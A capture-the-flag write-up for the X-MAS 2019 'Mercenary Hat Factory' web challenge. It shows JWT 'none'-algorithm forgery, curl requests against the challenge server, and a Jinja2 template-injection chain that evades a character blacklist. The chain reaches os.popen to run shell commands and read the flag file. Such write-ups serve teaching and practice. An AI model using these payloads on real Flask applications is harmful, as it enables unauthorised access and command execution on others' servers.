X-MAS 2019 CTF write-up (Mercenary Hat Factory) SSTI
X-MAS CTF is a Capture The Flag competition organized by HTsP.
In this article we will try to explain Mercenary Hat Factory solution

i)- Reading & Analysing the given code
server.py
The objective is exploiting SSTI (server side template injection) Flask/Jinja2 ,
ii)-Level 1 ( JWT )
After registering and opening our account

we get jwt with HS256 algorithm stored in cookies, decode with jwt.io & you get this payload :
{ “type”: “user”, “user”: “moh”}
now let’s change user role to admin using none algorithm by jwt library in python:
>>> jwt.encode({ “type”: “admin”, “user”: “moh” },’’,algorithm=”none”)
b’eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoibW9oIn0.’

iii)-Level 2 ( adminPrivileges )
As we saw in code we have to be from authorizedAdmin list, so we have to bypass this line :
if (request.form.get (‘accessCode’) == str (uid) + usr + pss + userpss):
authorizedAdmin [userData [“user”]] = True
So how to get Santasecret !?, the answer is NO WE DON’T HAVE TO
the adminPrivileges is created by this way
adminPrivileges = [[None]*3]*500
A list of 500 element and each element is a list of three element None, since he use * to create lists, n dimension array .
So whatever the uid value is, the data will affected to all adminPrivileges[uid] and this includes 0 i mean Santa :) .
In conclusion, you just need to post OUR SANTA SECRET in step1 in privilegeCode & post the full accessCode is step 2 which contain your uid + your username + OUR SANTA SECRET*2
Curl do the matter :
curl -X POST http://challs.xmas.htsp.ro:11005/authorize?step=1 — data ‘privilegeCode=1337’ -H ‘Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoibW9oIn0.;Path=/;Domain=challs.xmas.htsp.ro’ -H ‘Content-Type: application/x-www-form-urlencoded’ ; curl -X POST http://challs.xmas.htsp.ro:11005/authorize?step=2 — data ‘accessCode=72moh13371337’ -H ‘Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoibW9oIn0.;Path=/;Domain=challs.xmas.htsp.ro’ -H ‘Content-Type: application/x-www-form-urlencoded’
And now we are in level 2

iii)-Bypassing filters (SSTI)
Before we start injecting we have this instruction in code :
if ((userData[“user”] in authorizedAdmin) and (users[userData[“user”]] == userData[“pass”])):
beside authorizedAdmin we need to add our password in payload and encode it again
>>> jwt.encode({ “type”: “admin”, “user”: “moh”,”pass”:”moh” },’’,algorithm=’none’)
b’eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ0eXBlIjoiYWRtaW4iLCJ1c2VyIjoibW9oIiwicGFzcyI6Im1vaCJ9.’
Finally we can talk about SSTI and Filters …
Testing : {{13*37}}

It’s infected, now lets try to listing all classes from object class :
{{ ().__class__.__base__.__subclasses__() }}

“Error: That’s a hella weird Hat Name, maggot.” because of filters
So filtering list of post parameter hatName is :
blacklist = [“config”, “self”, “request”, “[“, “]”, ‘“‘, “_”, “+”, “ “, “join”, “%”, “%25”]
Now, let’s bypass them all by attr() and python escape characters
>>> hex(ord(‘_’))
‘0x5f’
So our payload will be :
{{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()}}

It’s clear that the useful classes are :
<class ‘warnings.WarningMessage’>
<class ‘warnings.catch_warnings’>
<class ‘subprocess.Popen’>
<class ‘os._wrap_close’>
In my case, i can’t do anything with warnings.WarningMessage and warnings.catch_warnings .
For subprocess.Popen, popen require 2 comma but since the code have special condition (no more then 1 comma in payload)
if (len (hatName.split (“,”)) > 2):
return render_template (“error.html”, error = “How many commas do you even want to have?”)
We will focusing on os._wrap_close class because he have access to os module functions, by this way we can find our track to gain os shell
{{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(127)|attr(‘\x5f\x5finit\x5f\x5f’)|attr(‘\x5f\x5fglobals\x5f\x5f’)}}

As we see, here’s functions list and our interest is on ‘ system’,’popen’,
in my case system() won’t work, so lets use popen() and run those command to see what’s going on : uname -a ;id;ls -la .
Since is bash shell we can bypass space with ${IFS}
{{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(127)|attr(‘\x5f\x5finit\x5f\x5f’)|attr(‘\x5f\x5fglobals\x5f\x5f’)|attr(‘\u005f\u005fgetitem\u005f\u005f’)(‘popen’)(‘uname${IFS}-a;id;ls${IFS}-la’)|
attr(‘read’)()}}
Output :

Now the flag show, since it is binary file we have to encode then read it so base64 is do our matter but don’t forget _ is banned(‘unusual\x5fflag.mp4’):
{{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(127)|attr(‘\x5f\x5finit\x5f\x5f’)|attr(‘\x5f\x5fglobals\x5f\x5f’)|attr(‘\u005f\u005fgetitem\u005f\u005f’)(‘popen’)(‘base64<unusual\x5fflag.mp4’)|
attr(‘read’)()}}

After decoding, we get file of type:
ISO Media, MP4 Base Media v1 [IS0 14496–12:2003]
and media application can’t run it, so i convert it using ffmpeg
ffmpeg -i flag2.mp4 -c copy -map 0 -brand mp42 factory.mp4
and BINGOO !

Video contain the flag :
X-MAX{W3lc0m3_70_7h3_h4t_f4ct0ry__w3ve_g0t_unusu4l_h4ts_90d81c091da}